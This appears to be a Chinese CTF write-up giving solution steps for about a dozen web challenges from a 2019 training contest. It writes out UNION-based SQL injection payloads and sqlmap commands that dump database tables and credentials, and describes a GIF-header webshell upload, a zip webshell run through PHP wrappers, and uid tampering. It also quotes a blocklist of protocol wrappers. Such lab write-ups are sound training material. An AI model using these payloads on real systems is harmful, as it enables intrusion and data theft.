2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP

Flag参数

  • 解题步骤

    根据题目提示,通过POST的方式传递flag参数,回显参数的值需要大于10位,因此传递大于10位的flag参数如下,获得flag:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第1张图片
    image.png

input

  • 解题步骤

    右键查看源代码,发现js的check函数,阅读源代码,发现输入的flag值要与str字符串的结果一致,才能通过,直接丢进控制台,打印str变量的值获得flag的值:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第2张图片
    image.png

企业小白运维人员

  • 解题步骤

    访问首页,右键查看源代码,根据提示访问网站的备份文件,右键查看源代码,根据代码内容传递user和password两个参数即可获得flag:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第3张图片
    image.png

100块钱都不给我

通过查看源代码、请求头和响应头没发现什么,访问robots.txt,发现网站隐藏目录:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第4张图片
image.png

访问index.php1发现关键代码:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第5张图片
image.png

发现会将ctf的参数值作为函数名执行,因此传递ctf=phpinfo,在首页获得flag:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第6张图片
image.png

搜what?

  • 解题步骤
    查看页面发现可能SQL注入,通过POST传值获得flag:
    word=1'or 1=1 order by 3#&&number=5查询字段数为3
    word=1'or 1=1 union select 1,2,3#&&number=5三个字段的结果都回显
    word=1'or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema=database()#&&number=5查询到admin和news两张表
    word=1'or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='admin'#&&number=5查询admin表的字段名,发现有flag字段
    word=1'or 1=1 union select 1,flag,3 from admin#&&number=5查询到flag字段的值

来上传!

通过上传测试,发现是文件头校验,因此抓包,在木马内容基础上再加gif文件头,结构如下:GIF89a

2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第7张图片
image.png

包罗万象

发现可以上传zip文件,构造一句话木马的压缩包,然后用php伪协议读取执行命令,用base64命令读取flag.php源代码获取flag:


2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第8张图片
image.png

2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第9张图片
flag.php

阿!核弹

  • 解题步骤

    访问根据题目默认的账号密码登录进入,发现有flag按钮,点击提示没有权限,控制台查看流量包发现存在ownerbug和flag.do,查看第二个包
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第10张图片
    flag.do请求头
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第11张图片
    flag.do响应头

    当传入uid参数为1000时候,响应是"owner_bugs",修改uid参数为1时候,回显是flag,
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第12张图片
    image.png
    根据提示,访问flag目录,获得flag:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第13张图片
    image.png

本题考察的是linux的越权控制,在登录Linux时,看起来是登录的账号,其实在计算机中仅仅认识ID,而每个登录的用户都会取得两个
ID这就是GID与UID。UID也称为用户ID(UserID),GID也称为用户组ID(Group ID)。操作系统就是利用它两来判断文件的所有者与用户组的。用户的UID大于500的都是非系统账号,500以下的都为系统保留的账号,比如root账号,至高权限的账号的UID为0。

这密码到底是啥!

  • 解题步骤bp抓包,右键发送到sqlmap进行攻击:
    sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req --dbs发现有information_schema和manager_haha两个数据库,对第二个数据库爆表名:
    sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req -D manager_haha --tables发现有admin表,继续爆破字段名:
    sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req -D manager_haha -T admin --columns发现有可疑字段名:f149_k3y,接着爆破字段值:
    sqlmap.py -r C:\Users\DELL\AppData\Local\Temp\\1548293714030.req -D manager_haha -T admin -C f149_k3y --dump结果如下:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第14张图片
    flag.png

看你有什么办法

  • 解题步骤
    根据首页源代码提示访问index.bak页面,查看源代码,发现关键代码:
','\.\.','^/+.*','file:///','php://','data://','zip://','ftp://','phar://','zlib://','glob://','expect://','http://','https://');
  $w = implode('|',$w);
  if(preg_match('#' . $w . '#i',$v) !== 0){
    die("
not that easy.");
    exit();
  }
  return $v;
}

根据代码可知过滤了超多的协议,其中
file://协议
都为off状态下也可以使用,直接访问本地文件系统。
格式:file:// [文件的绝对路径和文件名]
例如:file://localhost/文件
这里需要用到远程文件包含,但因为不能用ip地址(因为靶机无无法访问外网ip),所以用localhost代替
原版协议:https://en.wikipedia.org/wiki/File_URI_scheme

file协议.png

根据题目提示在网站根目录/flag文件下,构造playload访问如下:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第15张图片
image.png

dota

  • 解题步骤
    根据提示猜测源代码泄漏,访问www.zip获取源代码,下载解压发现有flag.php文件,打开得到flag:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第16张图片
    flag.png

X集团超级无敌新闻网站

  • 解题步骤

    扫描后台,发现敏感目录:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第17张图片
    image.png
    访问admin/left.jsp会重定向跳转回admin这个登陆界面,查看源代码发现有网页跳转js代码,如下:
    2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第18张图片
    跳转.png

这里可以尝试用noscript插件,禁掉js,成功访问后如下,flag点了后没用,就点新闻管理进入编辑界面,发现注入点:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第19张图片
admin/left.jsp

通过sqlmap跑,拿到用户名和密码,如下:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第20张图片
admin.png
在后台登录界面用账号和密码登录即可查看到flag,如下:
2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP_第21张图片
flag.png

你可能感兴趣的:(2019WEB安全攻防技能 [基础班] - CTF夺旗赛WP)